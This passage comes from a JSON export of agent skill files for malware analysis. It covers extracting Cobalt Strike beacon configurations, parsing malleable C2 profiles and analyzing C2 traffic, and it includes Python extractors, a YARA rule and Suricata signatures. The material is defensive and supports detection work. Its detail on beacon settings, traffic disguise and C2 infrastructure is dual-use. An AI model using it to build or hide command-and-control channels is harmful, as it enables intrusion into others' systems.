          \"SETTING_PUBKEY\",\n            \"SETTING_DOMAINS\",\n            \"SETTING_BEACONTYPE\",\n            \"SETTING_PORT\",\n            \"SETTING_SLEEPTIME\",\n            \"SETTING_JITTER\",\n            \"SETTING_MAXGET\",\n            \"SETTING_SPAWNTO_X86\",\n            \"SETTING_SPAWNTO_X64\",\n            \"SETTING_PIPENAME\",\n            \"SETTING_WATERMARK\",\n            \"SETTING_C2_VERB_GET\",\n            \"SETTING_C2_VERB_POST\",\n            \"SETTING_USERAGENT\",\n            \"SETTING_PROTOCOL\",\n        ]\n\n        for field in critical_fields:\n            value = settings.get(field, \"N/A\")\n            print(f\"  {field}: {value}\")\n\n        return settings\n\n    return None\n\n\ndef extract_c2_indicators(config):\n    \"\"\"Extract actionable C2 indicators from beacon config.\"\"\"\n    indicators = {\n        \"c2_domains\": [],\n        \"c2_ips\": [],\n        \"c2_urls\": [],\n        \"user_agent\": \"\",\n        \"named_pipes\": [],\n        \"spawn_processes\": [],\n        \"watermark\": \"\",\n    }\n\n    if not config:\n        return indicators\n\n    # Extract C2 domains\n    domains = config.get(\"SETTING_DOMAINS\", \"\")\n    if domains:\n        for domain in str(domains).split(\",\"):\n            domain = domain.strip().rstrip(\"/\")\n            if domain:\n                indicators[\"c2_domains\"].append(domain)\n\n    # Extract user agent\n    indicators[\"user_agent\"] = str(config.get(\"SETTING_USERAGENT\", \"\"))\n\n    # Extract named pipes\n    pipe = config.get(\"SETTING_PIPENAME\", \"\")\n    if pipe:\n        indicators[\"named_pipes\"].append(str(pipe))\n\n    # Extract spawn-to processes\n    for arch in [\"SETTING_SPAWNTO_X86\", \"SETTING_SPAWNTO_X64\"]:\n        proc = config.get(arch, \"\")\n        if proc:\n            indicators[\"spawn_processes\"].append(str(proc))\n\n    # Extract watermark\n    indicators[\"watermark\"] = str(config.get(\"SETTING_WATERMARK\", \"\"))\n\n    return indicators\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(f\"Usage: {sys.argv[0]} <beacon_file_or_dump>\")\n        sys.exit(1)\n\n    config = extract_beacon_config(sys.argv[1])\n    if config:\n        indicators = extract_c2_indicators(config)\n        print(f\"\\n[+] Extracted C2 Indicators:\")\n        print(json.dumps(indicators, indent=2))\n```\n\n### Step 2: Manual XOR Decryption of Beacon Config\n\n```python\nimport struct\n\ndef find_and_decrypt_config(data):\n    \"\"\"Manually locate and decrypt beacon configuration.\"\"\"\n    # Cobalt Strike 4.x uses 0x2e as XOR key\n    xor_keys = [0x2e, 0x69]  # v4, v3\n\n    for xor_key in xor_keys:\n        # Search for the config magic bytes after XOR\n        # Config starts with 0x0001 (BeaconType) XOR'd with key\n        magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,\n                       0x00 ^ xor_key, 0x02 ^ xor_key])\n\n        offset = data.find(magic)\n        if offset == -1:\n            continue\n\n        print(f\"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})\")\n\n        # Decrypt the config blob (typically 4096 bytes)\n        config_size = 4096\n        encrypted = data[offset:offset + config_size]\n        decrypted = bytes([b ^ xor_key for b in encrypted])\n\n        # Parse TLV entries\n        entries = parse_tlv(decrypted)\n        return entries\n\n    return None\n\n\ndef parse_tlv(data):\n    \"\"\"Parse Type-Length-Value configuration entries.\"\"\"\n    entries = {}\n    offset = 0\n\n    # TLV field type mapping\n    field_names = {\n        0x0001: \"BeaconType\",\n        0x0002: \"Port\",\n        0x0003: \"SleepTime\",\n        0x0004: \"MaxGetSize\",\n        0x0005: \"Jitter\",\n        0x0006: \"MaxDNS\",\n        0x0007: \"Deprecated_PublicKey\",\n        0x0008: \"C2Server\",\n        0x0009: \"UserAgent\",\n        0x000a: \"PostURI\",\n        0x000b: \"Malleable_C2_Instructions\",\n        0x000c: \"Deprecated_HttpGet_Metadata\",\n        0x000d: \"SpawnTo_x86\",\n        0x000e: \"SpawnTo_x64\",\n        0x000f: \"CryptoScheme\",\n        0x001a: \"Watermark\",\n        0x001d: \"C2_HostHeader\",\n        0x0024: \"PipeName\",\n        0x0025: \"Year\",\n        0x0026: \"Month\",\n        0x0027: \"Day\",\n        0x0036: \"ProxyHostname\",\n    }\n\n    while offset + 6 <= len(data):\n        entry_type = struct.unpack(\">H\", data[offset:offset+2])[0]\n        entry_len_type = struct.unpack(\">H\", data[offset+2:offset+4])[0]\n        entry_len = struct.unpack(\">H\", data[offset+4:offset+6])[0]\n\n        if entry_type == 0:\n            break\n\n        value_start = offset + 6\n        value_end = value_start + entry_len\n        value_data = data[value_start:value_end]\n\n        field_name = field_names.get(entry_type, f\"Unknown_0x{entry_type:04x}\")\n\n        if entry_len_type == 1:  # Short\n            value = struct.unpack(\">H\", value_data[:2])[0]\n        elif entry_len_type == 2:  # Int\n            value = struct.unpack(\">I\", value_data[:4])[0]\n        elif entry_len_type == 3:  # String/Blob\n            value = value_data.rstrip(b'\\x00').decode('utf-8', errors='replace')\n        else:\n            value = value_data.hex()\n\n        entries[field_name] = value\n        print(f\"  {field_name}: {value}\")\n\n        offset = value_end\n\n    return entries\n```\n\n### Step 3: YARA Rule for Beacon Detection\n\n```python\nimport yara\n\ncobalt_strike_rule = \"\"\"\nrule CobaltStrike_Beacon_Config {\n    meta:\n        description = \"Detects Cobalt Strike beacon configuration\"\n        author = \"Malware Analysis Team\"\n        date = \"2025-01-01\"\n\n    strings:\n        // XOR'd config marker for CS 4.x (key 0x2e)\n        $config_v4 = { 2e 2f 2e 2c }\n\n        // XOR'd config marker for CS 3.x (key 0x69)\n        $config_v3 = { 69 68 69 6b }\n\n        // Common beacon strings\n        $str_pipe = \"\\\\\\\\.\\\\pipe\\\\\" ascii wide\n        $str_beacon = \"beacon\" ascii nocase\n        $str_sleeptime = \"sleeptime\" ascii nocase\n\n        // Reflective loader pattern\n        $reflective = { 4D 5A 41 52 55 48 89 E5 }\n\n    condition:\n        ($config_v4 or $config_v3) or\n        (2 of ($str_*) and $reflective)\n}\n\"\"\"\n\ndef scan_for_beacons(filepath):\n    \"\"\"Scan file with YARA rules for Cobalt Strike beacons.\"\"\"\n    rules = yara.compile(source=cobalt_strike_rule)\n    matches = rules.match(filepath)\n\n    for match in matches:\n        print(f\"[+] YARA Match: {match.rule}\")\n        for string_match in match.strings:\n            offset = string_match.instances[0].offset\n            print(f\"    String: {string_match.identifier} at offset 0x{offset:x}\")\n\n    return matches\n```\n\n### Step 4: Network Traffic Correlation\n\n```python\nfrom dissect.cobaltstrike.c2 import HttpC2Config\n\ndef analyze_c2_profile(beacon_config):\n    \"\"\"Analyze malleable C2 profile from beacon configuration.\"\"\"\n    print(\"\\n[+] Malleable C2 Profile Analysis\")\n    print(\"=\" * 60)\n\n    # HTTP GET configuration\n    get_verb = beacon_config.get(\"SETTING_C2_VERB_GET\", \"GET\")\n    get_uri = beacon_config.get(\"SETTING_C2_REQUEST\", \"\")\n    print(f\"\\n  HTTP GET Request:\")\n    print(f\"    Verb: {get_verb}\")\n    print(f\"    URI: {get_uri}\")\n\n    # HTTP POST configuration\n    post_verb = beacon_config.get(\"SETTING_C2_VERB_POST\", \"POST\")\n    post_uri = beacon_config.get(\"SETTING_C2_POSTREQ\", \"\")\n    print(f\"\\n  HTTP POST Request:\")\n    print(f\"    Verb: {post_verb}\")\n    print(f\"    URI: {post_uri}\")\n\n    # User Agent\n    ua = beacon_config.get(\"SETTING_USERAGENT\", \"\")\n    print(f\"\\n  User-Agent: {ua}\")\n\n    # Host header\n    host = beacon_config.get(\"SETTING_C2_HOSTHEADER\", \"\")\n    print(f\"  Host Header: {host}\")\n\n    # Sleep and jitter for traffic pattern\n    sleep_ms = beacon_config.get(\"SETTING_SLEEPTIME\", 60000)\n    jitter = beacon_config.get(\"SETTING_JITTER\", 0)\n    print(f\"\\n  Sleep Time: {sleep_ms}ms\")\n    print(f\"  Jitter: {jitter}%\")\n\n    # Generate Suricata/Snort signatures\n    print(f\"\\n[+] Suggested Network Signatures:\")\n    if ua:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon UA\"; '\n              f'content:\"{ua}\"; http_user_agent; sid:1000001; rev:1;)')\n    if get_uri:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon URI\"; '\n              f'content:\"{get_uri}\"; http_uri; sid:1000002; rev:1;)')\n```\n\n## Validation Criteria\n\n- Beacon configuration successfully extracted from PE file or memory dump\n- C2 server domains/IPs correctly identified with port and protocol\n- Malleable C2 profile parameters decoded showing HTTP transforms\n- Watermark value extracted for attribution correlation\n- Sleep time and jitter values match observed network beacon intervals\n- YARA rules detect beacon in both packed and unpacked samples\n- Network signatures generated from extracted C2 profile\n\n## References\n\n- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)\n- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike)\n- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/)\n- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode)\n- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/)\n","frontmatter":{"name":"analyzing-cobalt-strike-beacon-configuration","description":"Extract and analyze Cobalt Strike beacon configuration from PE files and memory dumps to identify C2 infrastructure, malleable profiles, and operator tradecraft.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["cobalt-strike","beacon","c2","malware-analysis","config-extraction","threat-hunting","red-team-tools"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1071.001","T1573.001","T1090.004","T1105","T1027"]},"isInternal":false,"tokens":3344,"sizeBytes":13065},{"name":"api-reference.md","path":"skills/analyzing-cobaltstrike-malleable-c2-profiles/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobaltstrike-malleable-c2-profiles/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# CobaltStrike Malleable C2 Profile Analysis API Reference\n\n## Installation\n\n```bash\npip install dissect.cobaltstrike\npip install 'dissect.cobaltstrike[full]'   # With PCAP support\npip install pyMalleableC2                   # Alternative parser\n```\n\n## dissect.cobaltstrike API\n\n### Parse Beacon Configuration\n```python\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\nbconfig = BeaconConfig.from_path(\"beacon.bin\")\nprint(hex(bconfig.watermark))     # 0x5109bf6d\nprint(bconfig.protocol)           # https\nprint(bconfig.version)            # BeaconVersion(...)\nprint(bconfig.settings)           # Full config dict\n```\n\n### Parse Malleable C2 Profile\n```python\nfrom dissect.cobaltstrike.c2profile import C2Profile\n\nprofile = C2Profile.from_path(\"amazon.profile\")\nconfig = profile.as_dict()\nprint(config[\"useragent\"])\nprint(config[\"http-get.uri\"])\nprint(config[\"sleeptime\"])\n```\n\n### PCAP Analysis\n```bash\n# Extract beacons from PCAP\nbeacon-pcap --extract-beacons traffic.pcap\n\n# Decrypt traffic with private key\nbeacon-pcap -p team_server.pem traffic.pcap --beacon beacon.bin\n```\n\n## pyMalleableC2 API\n\n```python\nfrom malleableC2 import Profile\n\nprofile = Profile.from_file(\"amazon.profile\")\nprint(profile.sleeptime)\nprint(profile.useragent)\nprint(profile.http_get.uri)\nprint(profile.http_post.uri)\n```\n\n## Key Profile Settings\n\n| Setting | Description | Detection Value |\n|---------|-------------|-----------------|\n| `sleeptime` | Callback interval (ms) | Low values = aggressive beaconing |\n| `jitter` | Sleep randomization % | Timing analysis evasion |\n| `useragent` | HTTP User-Agent string | Network signature |\n| `http-get.uri` | GET request URI path | URI-based detection |\n| `http-post.uri` | POST request URI path | URI-based detection |\n| `spawnto_x86` | 32-bit spawn process | Process creation detection |\n| `spawnto_x64` | 64-bit spawn process | Process creation detection |\n| `pipename` | Named pipe pattern | Named pipe monitoring |\n| `dns_idle` | DNS idle IP address | DNS beacon detection |\n| `watermark` | License watermark | Operator attribution |\n\n## Suricata Rule Format\n\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n  msg:\"MALWARE CobaltStrike C2 URI\";\n  flow:established,to_server;\n  http.uri; content:\"/api/v1/status\";\n  http.header; content:\"User-Agent: Mozilla/5.0\";\n  sid:9000001; rev:1;\n)\n```\n\n## CLI Usage\n\n```bash\npython agent.py --input profile.profile --output report.json\npython agent.py --input parsed_config.json --output report.json\n```\n\n## References\n\n- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike\n- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2\n- Unit42 Analysis: https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/\n- Config Extractor: https://github.com/strozfriedberg/cobaltstrike-config-extractor\n","isInternal":false,"tokens":726,"sizeBytes":2808},{"name":"SKILL.md","path":"skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md","title":"analyzing-cobaltstrike-malleable-c2-profiles","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-cobaltstrike-malleable-c2-profiles\ndescription: Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- malleable-c2\n- c2-detection\n- beacon-analysis\n- network-signatures\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1001.003\n- T1090.004\n- T1102\n---\n# Analyzing CobaltStrike Malleable C2 Profiles\n\n## Overview\n\nCobalt Strike Malleable C2 profiles are domain-specific language scripts that customize how Beacon communicates with the team server, defining HTTP request/response transformations, sleep intervals, jitter values, user agents, URI paths, and process injection behavior. Threat actors use malleable profiles to disguise C2 traffic as legitimate services (Amazon, Google, Slack). Analyzing these profiles reveals network indicators for detection: URI patterns, HTTP headers, POST/GET transforms, DNS settings, and process injection techniques. The `dissect.cobaltstrike` library can parse both profile files and extract configurations from beacon payloads, while `pyMalleableC2` provides AST-based parsing using Lark grammar for programmatic profile manipulation and validation.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobaltstrike malleable c2 profiles\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike` and/or `pyMalleableC2`\n- Sample Malleable C2 profiles (available from public repositories)\n- Understanding of HTTP protocol and Cobalt Strike beacon communication model\n- Network monitoring tools (Suricata/Snort) for signature deployment\n- PCAP analysis tools for traffic validation\n\n## Steps\n\n1. Install libraries: `pip install dissect.cobaltstrike` or `pip install pyMalleableC2`\n2. Parse profile with `C2Profile.from_path(\"profile.profile\")`\n3. Extract HTTP GET/POST block configurations (URIs, headers, parameters)\n4. Identify user agent strings and spoof targets\n5. Extract sleep time, jitter percentage, and DNS beacon settings\n6. Analyze process injection settings (spawn-to, allocation technique)\n7. Generate Suricata/Snort signatures from extracted network indicators\n8. Compare profile against known threat actor profile collections\n9. Extract staging URIs and payload delivery mechanisms\n10. Produce detection report with IOCs and recommended network signatures\n\n## Expected Output\n\nA JSON report containing extracted C2 URIs, HTTP headers, user agents, sleep/jitter settings, process injection config, spawned process paths, DNS settings, and generated Suricata-compatible detection rules.\n","frontmatter":{"name":"analyzing-cobaltstrike-malleable-c2-profiles","description":"Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["cobalt-strike","malleable-c2","c2-detection","beacon-analysis","network-signatures","threat-hunting","red-team-tools"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1071.001","T1573.002","T1001.003","T1090.004","T1102"]},"isInternal":false,"tokens":740,"sizeBytes":3258},{"name":"api-reference.md","path":"skills/analyzing-command-and-control-communication/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-command-and-control-communication/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: C2 Communication Analysis Tools\n\n## Scapy - Packet Analysis Library (Python)\n\n### Reading PCAPs\n```python\nfrom scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR\npackets = rdpcap(\"capture.pcap\")\n```\n\n### Filtering Packets\n```python\n# TCP SYN packets (connection initiation)\nsyn_pkts = [p for p in packets if TCP in p and (p[TCP].flags & 0x02)]\n\n# DNS queries\ndns_pkts = [p for p in packets if DNS in p and p[DNS].qr == 0]\n\n# Access fields\npkt[IP].src        # Source IP\npkt[IP].dst        # Destination IP\npkt[TCP].sport     # Source port\npkt[TCP].dport     # Destination port\npkt[TCP].flags     # TCP flags (0x02 = SYN)\nfloat(pkt.time)    # Packet timestamp\n```\n\n## dpkt - Packet Parsing Library (Python)\n\n### Reading PCAPs\n```python\nimport dpkt\nwith open(\"capture.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n    for timestamp, buf in pcap:\n        eth = dpkt.ethernet.Ethernet(buf)\n        ip = eth.data\n        tcp = ip.data\n```\n\n### HTTP Request Parsing\n```python\nhttp = dpkt.http.Request(tcp.data)\nhttp.method     # GET, POST\nhttp.uri        # /path\nhttp.headers    # dict of headers\nhttp.body       # POST body\n```\n\n## tshark - CLI Wireshark\n\n### Beacon Analysis\n```bash\ntshark -r capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.time_epoch \\\n  -Y \"tcp.flags.syn==1\" > syn_times.csv\n```\n\n### HTTP Extraction\n```bash\ntshark -r capture.pcap -Y \"http.request\" -T fields \\\n  -e http.request.method -e http.host -e http.request.uri -e http.user_agent\n```\n\n### DNS Extraction\n```bash\ntshark -r capture.pcap -Y \"dns.qr==0\" -T fields \\\n  -e dns.qry.name -e dns.qry.type -e ip.src\n```\n\n### JA3 TLS Fingerprinting\n```bash\ntshark -r capture.pcap -Y \"tls.handshake.type==1\" -T fields \\\n  -e ip.src -e tls.handshake.ja3\n```\n\n## CobaltStrikeParser - Beacon Config Extraction\n\n### Usage\n```python\nfrom cobalt_strike_parser import BeaconConfig\nconfig = BeaconConfig.from_file(\"beacon.bin\")\nfor key, value in config.items():\n    print(f\"{key}: {value}\")\n```\n\n### Key Config Fields\n| Field | Description |\n|-------|-------------|\n| `BeaconType` | HTTP, HTTPS, DNS, SMB |\n| `C2Server` | Primary C2 URL |\n| `SleepTime` | Beacon interval (ms) |\n| `Jitter` | Jitter percentage |\n| `UserAgent` | HTTP User-Agent string |\n| `Watermark` | License watermark ID |\n\n## Suricata - Network IDS Rules\n\n### Rule Syntax\n```\nalert <proto> <src> <port> -> <dst> <port> (msg:\"\"; <options>; sid:N; rev:N;)\n```\n\n### Key Keywords\n| Keyword | Purpose |\n|---------|---------|\n| `http.method` | Match HTTP method |\n| `http.uri` | Match request URI |\n| `http.header` | Match header content |\n| `ja3.hash` | Match JA3 TLS fingerprint |\n| `dns.query` | Match DNS query name |\n| `tls.cert_subject` | Match TLS certificate CN |\n| `threshold` | Rate-based detection |\n","isInternal":false,"tokens":816,"sizeBytes":2756},{"name":"SKILL.md","path":"skills/analyzing-command-and-control-communication/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-command-and-control-communication/SKILL.md","title":"analyzing-command-and-control-communication","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-command-and-control-communication\ndescription: 'Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom\n  protocols to reverse-engineer beacon patterns, command structures, data encoding,\n  and infrastructure (primary servers, fallback domains, dead drops). Use after\n  reverse engineering reveals network traffic needing protocol analysis or when\n  building detection signatures for a framework like Cobalt Strike, Metasploit,\n  or Sliver.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- C2\n- command-and-control\n- beacon\n- protocol-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573\n- T1571\n- T1008\n- T1095\n---\n\n# Analyzing Command-and-Control Communication\n\n## When to Use\n\n- Reverse engineering a malware sample has revealed network communication that needs protocol analysis\n- Building network-level detection signatures for a specific C2 framework (Cobalt Strike, Metasploit, Sliver)\n- Mapping C2 infrastructure including primary servers, fallback domains, and dead drops\n- Analyzing encrypted or encoded C2 traffic to understand the command set and data format\n- Attributing malware to a threat actor based on C2 infrastructure patterns and tooling\n\n**Do not use** for general network anomaly detection; this is specifically for understanding known or suspected C2 protocols from malware analysis.\n\n## Prerequisites\n\n- PCAP capture of malware network traffic (from sandbox, network tap, or full packet capture)\n- Wireshark/tshark for packet-level analysis\n- Reverse engineering tools (Ghidra, dnSpy) for understanding C2 code in the malware binary\n- Python 3.8+ with `scapy`, `dpkt`, and `requests` for protocol analysis and replay\n- Threat intelligence databases for C2 infrastructure correlation (VirusTotal, Shodan, Censys)\n- JA3/JA3S fingerprint databases for TLS-based C2 identification\n\n## Workflow\n\n### Step 1: Identify the C2 Channel\n\nDetermine the protocol and transport used for C2 communication:\n\n```\nC2 Communication Channels:\n━━━━━━━━━━━━━━━━━━━━━━━━━\nHTTP/HTTPS:     Most common; uses standard web traffic to blend in\n                Indicators: Regular POST/GET requests, specific URI patterns, custom headers\n\nDNS:            Tunneling data through DNS queries and responses\n                Indicators: High-volume TXT queries, long subdomain names, high entropy\n\nCustom TCP/UDP: Proprietary binary protocol on non-standard port\n                Indicators: Non-HTTP traffic on high ports, unknown protocol\n\nICMP:           Data encoded in ICMP echo/reply payloads\n                Indicators: ICMP packets with large or non-standard payloads\n\nWebSocket:      Persistent bidirectional connection for real-time C2\n                Indicators: WebSocket upgrade followed by binary frames\n\nCloud Services: Using legitimate APIs (Telegram, Discord, Slack, GitHub)\n                Indicators: API calls to cloud services from unexpected processes\n\nEmail:          SMTP/IMAP for C2 commands and data exfiltration\n                Indicators: Automated email operations from non-email processes\n```\n\n### Step 2: Analyze Beacon Pattern\n\nCharacterize the periodic communication pattern:\n\n```python\nfrom scapy.all import rdpcap, IP, TCP\nfrom collections import defaultdict\nimport statistics\nimport json\n\npackets = rdpcap(\"c2_traffic.pcap\")\n\n# Group TCP SYN packets by destination\nconnections = defaultdict(list)\nfor pkt in packets:\n    if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02):\n        key = f\"{pkt[IP].dst}:{pkt[TCP].dport}\"\n        connections[key].append(float(pkt.time))\n\n# Analyze each destination for beaconing\nfor dst, times in sorted(connections.items()):\n    if len(times) < 3:\n        continue\n\n    intervals = [times[i+1] - times[i] for i in range(len(times)-1)]\n    avg_interval = statistics.mean(intervals)\n    stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0\n    jitter_pct = (stdev / avg_interval * 100) if avg_interval > 0 else 0\n    duration = times[-1] - times[0]\n\n    beacon_data = {\n        \"destination\": dst,\n        \"connections\": len(times),\n        \"duration_seconds\": round(duration, 1),\n        \"avg_interval_seconds\": round(avg_interval, 1),\n        \"stdev_seconds\": round(stdev, 1),\n        \"jitter_percent\": round(jitter_pct, 1),\n        \"is_beacon\": 5 < avg_interval < 7200 and jitter_pct < 25,\n    }\n\n    if beacon_data[\"is_beacon\"]:\n        print(f\"[!] BEACON DETECTED: {dst}\")\n        print(f\"    Interval: {avg_interval:.0f}s +/- {stdev:.0f}s ({jitter_pct:.0f}% jitter)\")\n        print(f\"    Sessions: {len(times)} over {duration:.0f}s\")\n```\n\n### Step 3: Decode C2 Protocol Structure\n\nReverse engineer the message format from captured traffic:\n\n```python\n# HTTP-based C2 protocol analysis\nimport dpkt\nimport base64\n\nwith open(\"c2_traffic.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n\nfor ts, buf in pcap:\n    eth = dpkt.ethernet.Ethernet(buf)\n    if not isinstance(eth.data, dpkt.ip.IP):\n        continue\n    ip = eth.data\n    if not isinstance(ip.data, dpkt.tcp.TCP):\n        continue\n    tcp = ip.data\n\n    if tcp.dport == 80 or tcp.dport == 443:\n        if len(tcp.data) > 0:\n            try:\n                http = dpkt.http.Request(tcp.data)\n                print(f\"\\n--- C2 REQUEST ---\")\n                print(f\"Method: {http.method}\")\n                print(f\"URI: {http.uri}\")\n                print(f\"Headers: {dict(http.headers)}\")\n                if http.body:\n                    print(f\"Body ({len(http.body)} bytes):\")\n                    # Try Base64 decode\n                    try:\n                        decoded = base64.b64decode(http.body)\n                        print(f\"  Decoded: {decoded[:200]}\")\n                    except:\n                        print(f\"  Raw: {http.body[:200]}\")\n            except:\n                pass\n```\n\n### Step 4: Identify C2 Framework\n\nMatch observed patterns to known C2 frameworks:\n\n```\nKnown C2 Framework Signatures:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nCobalt Strike:\n  - Default URIs: /pixel, /submit.php, /___utm.gif, /ca, /dpixel\n  - Malleable C2 profiles customize all traffic characteristics\n  - JA3: varies by profile, catalog at ja3er.com\n  - Watermark in beacon config (unique per license)\n  - Config extraction: use CobaltStrikeParser or 1768.py\n\nMetasploit/Meterpreter:\n  - Default staging URI patterns: random 4-char checksum\n  - Reverse HTTP(S) handler patterns\n  - Meterpreter TLV (Type-Length-Value) protocol structure\n\nSliver:\n  - mTLS, HTTP, DNS, WireGuard transport options\n  - Protobuf-encoded messages\n  - Unique implant ID in communication\n\nCovenant:\n  - .NET-based C2 framework\n  - HTTP with customizable profiles\n  - Task-based command execution\n\nPoshC2:\n  - PowerShell/C# based\n  - HTTP with encrypted payloads\n  - Cookie-based session management\n```\n\n```bash\n# Extract Cobalt Strike beacon configuration from PCAP or sample\npython3 << 'PYEOF'\n# Using CobaltStrikeParser (pip install cobalt-strike-parser)\nfrom cobalt_strike_parser import BeaconConfig\n\ntry:\n    config = BeaconConfig.from_file(\"suspect.exe\")\n    print(\"Cobalt Strike Beacon Configuration:\")\n    for key, value in config.items():\n        print(f\"  {key}: {value}\")\nexcept Exception as e:\n    print(f\"Not a Cobalt Strike beacon or parse error: {e}\")\nPYEOF\n```\n\n### Step 5: Map C2 Infrastructure\n\nDocument the full C2 infrastructure and failover mechanisms:\n\n```python\n# Infrastructure mapping\nimport requests\nimport json\n\nc2_indicators = {\n    \"primary_c2\": \"185.220.101.42\",\n    \"domains\": [\"update.malicious.com\", \"backup.evil.net\"],\n    \"ports\": [443, 8443],\n    \"failover_dns\": [\"ns1.malicious-dns.com\"],\n}\n\n# Enrich with Shodan\ndef shodan_lookup(ip, api_key):\n    resp = requests.get(f\"https://api.shodan.io/shodan/host/{ip}?key={api_key}\")\n    if resp.status_code == 200:\n        data = resp.json()\n        return {\n            \"ip\": ip,\n            \"ports\": data.get(\"ports\", []),\n            \"os\": data.get(\"os\"),\n            \"org\": data.get(\"org\"),\n            \"asn\": data.get(\"asn\"),\n            \"country\": data.get(\"country_code\"),\n            \"hostnames\": data.get(\"hostnames\", []),\n            \"last_update\": data.get(\"last_update\"),\n        }\n    return None\n\n# Enrich with passive DNS\ndef pdns_lookup(domain):\n    # Using VirusTotal passive DNS\n    resp = requests.get(\n        f\"https://www.virustotal.com/api/v3/domains/{domain}/resolutions\",\n        headers={\"x-apikey\": VT_API_KEY}\n    )\n    if resp.status_code == 200:\n        data = resp.json()\n        resolutions = []\n        for r in data.get(\"data\", []):\n            resolutions.append({\n                \"ip\": r[\"attributes\"][\"ip_address\"],\n                \"date\": r[\"attributes\"][\"date\"],\n            })\n        return resolutions\n    return []\n```\n\n### Step 6: Create Network Detection Signatures\n\nBuild detection rules based on analyzed C2 characteristics:\n\n```bash\n# Suricata rules for the analyzed C2\ncat << 'EOF' > c2_detection.rules\n# HTTP beacon pattern\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX C2 HTTP Beacon\";\n    flow:established,to_server;\n    http.method; content:\"POST\";\n    http.uri; content:\"/gate.php\"; startswith;\n    http.header; content:\"User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)\";\n    threshold:type threshold, track by_src, count 5, seconds 600;\n    sid:9000010; rev:1;\n)\n\n# JA3 fingerprint match\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX TLS JA3 Fingerprint\";\n    ja3.hash; content:\"a0e9f5d64349fb13191bc781f81f42e1\";\n    sid:9000011; rev:1;\n)\n\n# DNS beacon detection (high-entropy subdomain)\nalert dns $HOME_NET any -> any any (\n    msg:\"MALWARE Suspected DNS C2 Tunneling\";\n    dns.query; pcre:\"/^[a-z0-9]{20,}\\./\";\n    threshold:type threshold, track by_src, count 10, seconds 60;\n    sid:9000012; rev:1;\n)\n\n# Certificate-based detection\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE 